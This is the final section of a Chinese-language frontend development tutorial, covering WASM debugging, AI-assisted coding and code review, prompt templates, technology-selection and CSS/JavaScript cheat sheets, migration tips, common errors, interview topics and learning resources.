export function imageDataInvert(data: Uint8ClampedArray, len: i32): void {
  for (let i: i32 = 0; i < len; i += 4) {
    data[i] = 255 - data[i]        // R
    data[i + 1] = 255 - data[i + 1] // G
    data[i + 2] = 255 - data[i + 2] // B
  }
}

// 编译:npx asc assembly/index.ts --outFile build/module.wasm --optimize
// JS 中使用:与 Rust WASM 类似

WASM 调试方法

// 调试 WASM 的几种方式

// 1. 浏览器 DevTools(Chrome/Firefox)
// Sources 面板可以直接查看 .wasm 文件(需开启 DWARF 调试信息)
// Rust 编译时加调试信息:
// wasm-pack build --dev -- --features wasm-bindgen/enable-debug

// 2. console.log 输出(最简单)
// Rust 中使用 web-sys 打印日志
use web_sys::console;
console::log_1(&"调试信息".into());

// 3. 性能分析
console.time('wasm-operation')
wasm.heavyComputation()
console.timeEnd('wasm-operation')

// 4. 使用 wasm-pack test 运行单元测试
// wasm-pack test --headless --chrome  // 在 Chrome 中运行测试

// 5. 源码映射(Source Maps)
// 配合 @aspect-build/rules_js 生成 WASM 源码映射

76. AI 赋能前端开发

2026 年,AI 正在深刻改变前端开发方式。学会利用 AI 工具,效率可以提升 3-10 倍。

AI 工具矩阵

工具用途特点
CursorAI 代码编辑器基于 VS Code,内置 AI 补全和对话
Claude CodeAI 命令行工具终端中直接对话,理解整个项目上下文
v0.devAI 组件生成用自然语言描述,自动生成 React + Tailwind 组件
GitHub CopilotAI 代码补全VS Code 插件,实时补全代码
bolt.newAI 全栈生成一句话生成完整应用
// AI 辅助开发的最佳实践
// 1. 用 AI 生成组件初稿
// 提示词:"创建一个用户注册表单,包含姓名、邮箱、密码、确认密码,
//         使用 React Hook Form + Zod 校验,Tailwind CSS 样式"

// 2. 用 AI 解释代码
// "解释这段 useEffect 的依赖数组为什么这样写"

// 3. 用 AI 查找 bug
// "这段代码在 Safari 上不工作,可能是什么原因?"

// 4. 用 AI 写测试
// "为这个组件写单元测试,覆盖主要交互场景"

// 5. 用 AI 重构
// "把这个类组件重构为函数组件 + Hooks"

// 注意:AI 生成的代码一定要人工审查
// AI 可能生成过时的 API、有安全漏洞、或不符合项目规范
AI 不能替代什么

AI 可以帮你写代码,但不能帮你:1)理解业务需求(产品经理的工作);2)设计系统架构(需要经验和全局思考);3)做技术选型决策(需要了解项目上下文);4)代码审查(需要理解团队规范)。AI 是工具,不是替代品。学会用 AI 的开发者会取代不用 AI 的开发者。

AI 代码版权与许可问题

// AI 生成代码的法律风险(2026 年仍存在争议)

// 1. 版权归属问题
// - 美国版权局:纯 AI 生成的内容不受版权保护
// - 但人类有"实质性修改"的代码可以受保护
// - 建议:AI 生成初稿后,人工审查并修改

// 2. 许可证合规风险
// AI 可能生成与 GPL/MIT 代码高度相似的片段
// 可能无意中引入 copyleft 许可证的义务

// 3. 企业使用建议
// 公司政策:明确 AI 代码的使用范围和审查流程
// 工具推荐:FOSSA、Snyk 扫描 AI 生成代码的许可证风险
// 记录来源:保存 AI 提示词和输出,便于追溯

// 4. 安全注意事项
// AI 可能生成有漏洞的代码(如 SQL 注入、XSS)
// 必须用 ESLint、Snyk 等工具扫描 AI 生成的代码
// 不要让 AI 处理敏感信息(密钥、密码、个人数据)

AI 辅助代码审查工作流

// AI 代码审查:让 AI 先审,人工再审(效率提升 50%+)

// 1. GitHub Copilot Code Review(2026 年主流方案)
// PR 创建后自动触发 AI 审查
// AI 标注:潜在 bug、性能问题、风格不一致
// 人工决定:是否采纳 AI 的建议

// 2. 审查提示词模板
// "审查这段代码,关注以下方面:
//  1)是否有安全漏洞(XSS、注入、越权)
//  2)是否有性能问题(N+1 查询、不必要的重渲染)
//  3)是否符合 React 最新最佳实践
//  4)是否有更好的实现方式"

// 3. CI/CD 集成示例
// .github/workflows/ai-review.yml
// jobs:
//   ai-review:
//     runs-on: ubuntu-latest
//     steps:
//       - uses: actions/checkout@v4
//       - name: AI Code Review
//         uses: coderabbitai/ai-pr-reviewer@latest
//         with:
//           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
//           OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}

// 4. 审查重点(AI 擅长的领域)
// - 代码风格一致性(ESLint 规则覆盖不到的)
// - 边界条件检查(空值、越界、类型错误)
// - 文档完整性(注释、JSDoc、README)

Prompt Engineering 代码生成技巧

// 高质量提示词 = 高质量代码(差距可达 10 倍)

// 1. 结构化提示词模板
// "你是一个资深前端工程师。请创建一个 [组件名] 组件。
//  技术栈:React 18 + TypeScript + Tailwind CSS
//  功能需求:
//  - [功能 1]
//  - [功能 2]
//  约束条件:
//  - 使用 React Hook Form 处理表单
//  - 使用 Zod 进行数据校验
//  - 组件必须支持键盘导航
//  - 编写单元测试(Vitest + Testing Library)"

// 2. 分步骤生成(复杂组件)
// Step 1: "先定义 TypeScript 接口(Props 和 State)"
// Step 2: "实现核心逻辑(自定义 Hook)"
// Step 3: "实现 UI 部分(JSX + Tailwind)"
// Step 4: "添加错误处理和边界情况"
// Step 5: "编写单元测试"

// 3. 上下文增强技巧
// - 提供现有代码片段作为参考:"参考这个组件的风格:[代码]"
// - 指定文件结构:"这个项目使用 src/features/user/ 目录结构"
// - 说明约束:"不要使用 class 组件,只用函数组件 + Hooks"

// 4. 迭代优化
// 第一次生成后:"这个实现的性能可以优化吗?useMemo/useCallback 在哪里需要?"
// "为这个组件添加 loading 和 error 状态处理"

AI 在性能优化中的应用

// AI 不只是写代码——它也是性能优化的利器

// 1. 用 AI 分析 Lighthouse 报告
// "分析这个 Lighthouse 报告,给出优化建议:
//  FCP: 2.1s, LCP: 3.5s, CLS: 0.15, TBT: 400ms"
// AI 会给出具体的优化方案和优先级排序

// 2. 用 AI 优化代码性能
// "这个组件每次父组件渲染都重新计算,如何优化?"
// AI 建议:useMemo、useCallback、React.memo 的使用位置

// 3. 用 AI 分析 Bundle 大小
// "分析这个 webpack-bundle-analyzer 输出,找出最大的依赖"
// AI 建议:tree shaking 优化、替代轻量库、代码分割策略

// 4. 用 AI 优化数据库查询(全栈场景)
// "这个 API 响应慢(500ms),SQL 查询如下:[SQL]"
// AI 建议:添加索引、优化 JOIN、使用缓存

// 5. 用 AI 生成性能监控代码
// "为这个应用添加 Core Web Vitals 监控,上报到 /api/metrics"
// AI 生成完整的 web-vitals 集成代码

// 实战案例:某电商网站用 AI 优化后
// LCP: 3.2s → 1.5s(AI 建议图片优化 + 预加载关键资源)
// CLS: 0.25 → 0.05(AI 发现动态插入的广告导致布局偏移)
// TBT: 600ms → 150ms(AI 建议代码分割 + 延迟加载第三方脚本)

77. 速查表与技术选型指南

技术选型速查表

需求推荐方案备选方案
框架React + Next.jsVue + Nuxt.js
UI 库shadcn/uiAnt Design / MUI
CSSTailwind CSSCSS Modules
状态管理ZustandJotai / Pinia (Vue)
数据请求TanStack QuerySWR
表单React Hook Form + ZodFormik
路由Next.js App RouterReact Router
构建ViteTurbopack
测试Vitest + Testing LibraryJest
包管理pnpmnpm / yarn
图表EChartsRecharts / Chart.js
监控SentryLogRocket

CSS 常用属性速查

/* 布局 */
display: flex | grid | block | inline-block | none
flex-direction: row | column
justify-content: flex-start | center | flex-end | space-between | space-around
align-items: flex-start | center | flex-end | stretch
gap: 16px

/* 盒模型 */
width: 100% | auto | fit-content
height: 100vh | auto
padding: 16px | 16px 24px | 16px 24px 16px 24px
margin: 0 auto  /* 水平居中 */
border: 1px solid #ccc
border-radius: 8px

/* 文字 */
font-size: 16px | 1rem | 1.2em
font-weight: 400 | 600 | 700
color: #1a1d21
text-align: center | left | right
line-height: 1.5
text-decoration: none | underline

/* 背景 */
background: #fff | linear-gradient(135deg, #f0f, #0ff)
background-size: cover | contain

/* 动画 */
transition: all 0.2s ease
transform: translateX(100px) | scale(1.1) | rotate(45deg)
opacity: 0 | 1

/* 响应式 */
@media (min-width: 768px) { ... }
@media (max-width: 640px) { ... }

JavaScript 常用 API 速查

// 数组
arr.map(x => x * 2)           // 映射
arr.filter(x => x > 0)        // 过滤
arr.reduce((sum, x) => sum + x, 0)  // 累积
arr.find(x => x.id === 1)     // 查找
arr.some(x => x > 0)          // 任一满足
arr.every(x => x > 0)         // 全部满足
arr.sort((a, b) => a - b)     // 排序
arr.flat()                     // 扁平化
arr.includes(x)                // 是否包含

// 对象
Object.keys(obj)               // 键数组
Object.values(obj)             // 值数组
Object.entries(obj)            // [键, 值] 数组
{ ...obj1, ...obj2 }           // 合并对象
const { a, ...rest } = obj     // 解构

// 字符串
str.includes('hello')          // 是否包含
str.startsWith('hi')           // 是否以...开头
str.replace(/old/g, 'new')     // 替换
str.split(',')                 // 分割
str.trim()                     // 去除空白
`Hello ${name}`                // 模板字符串

// 异步
const data = await fetch(url).then(r => r.json())
const [a, b] = await Promise.all([fetchA(), fetchB()])

// 日期
new Date().toISOString()       // ISO 格式
Date.now()                     // 时间戳(毫秒)
给前端学习者的最后一封信

前端技术更新很快,但核心不变:HTML 搭结构、CSS 管样式、JavaScript 处理逻辑。框架只是工具,思想才是根基。不要追新,要追深。把一个框架学透,其他的看看就会了。多写代码、多做项目、多读源码。遇到困难是正常的——每一个资深工程师都是从"这段代码为什么报错"中成长起来的。加油!

迁移指南速查

迁移路径核心变化推荐工具
jQuery → ReactDOM 操作 → 声明式 UI;$.ajax → fetch/TanStack Query;$.on → onClick 事件逐步替换,先用 React 包裹 jQuery 组件
Vue 2 → Vue 3Options API → Composition API;Vue.use → app.use;filters → computedvue-compat 兼容模式,逐组件迁移
JS → TypeScript添加类型注解;any → 具体类型;JSX → TSXtsc --allowJs 渐进迁移,strict 逐步开启

常见错误速查表

错误信息原因解决方案
Cannot read properties of undefined访问 undefined 的属性可选链 obj?.prop 或默认值 obj || {}
Hydration failedSSR 与客户端 HTML 不一致检查条件渲染、日期格式、typeof window
Too many re-renders渲染中触发 setState将 setState 移到事件处理或 useEffect
CORS error跨域请求被阻止后端配置 CORS 或前端设置 proxy
Module not found路径错误或未安装依赖检查 import 路径、运行 pnpm install
Network Error请求失败(网络/API 崩溃)检查网络、API 地址、后端服务状态

面试高频考点速查

// JavaScript 高频
// 1. 闭包:函数 + 它能访问的外部变量
// 2. 原型链:__proto__ → prototype → Object.prototype → null
// 3. Event Loop:微任务(Promise)优先于宏任务(setTimeout)
// 4. this 指向:箭头函数继承外层,普通函数看调用方式
// 5. 深拷贝:structuredClone(obj) 或 JSON.parse(JSON.stringify(obj))

// React 高频
// 1. useEffect:依赖数组、cleanup、避免无限循环
// 2. useMemo/useCallback:缓存计算结果/函数引用
// 3. 状态提升 vs Context vs 状态管理库的选择
// 4. React.memo + useMemo 性能优化
// 5. Suspense + lazy 实现代码分割

// 网络与浏览器
// 1. HTTP 缓存:强缓存(Cache-Control) vs 协商缓存(ETag)
// 2. TCP 三次握手、HTTPS 握手流程
// 3. 跨域解决方案:CORS、代理、JSONP
// 4. Web 性能指标:LCP、FID、CLS
// 5. 渲染流程:DOM → CSSOM → Render Tree → Layout → Paint

持续学习资源

// 技术博客与资讯
// - React 官方博客:react.dev/blog
// - Next.js 博客:nextjs.org/blog
// - CSS Tricks:css-tricks.com
// - web.dev:Google 的 Web 开发最佳实践
// - 前端早读课 / 掘金前端:中文社区优质内容

// 社区与交流
// - GitHub Trending:发现热门开源项目
// - Stack Overflow:技术问答
// - Discord/Slack:React、Vue、Next.js 官方社区
// - Twitter/X:关注 @dan_abramov @antfu7 @leeerob

// 会议与视频
// - React Conf / VueConf / Next.js Conf:框架官方会议
// - JSConf / dotJS:JavaScript 生态大会
// - YouTube:Fireship(短小精悍)、Jack Herrington(深入)
// - B 站:前端技术分享中文内容
学习路线建议

初级阶段:HTML/CSS/JS 基础 → React/Vue 一个框架 → 做 2-3 个项目。中级阶段:TypeScript → 状态管理 → 性能优化 → 测试。高级阶段:架构设计 → 工程化 → 跨端开发 → 开源贡献。每个阶段花 3-6 个月,不要急,扎实比快速更重要。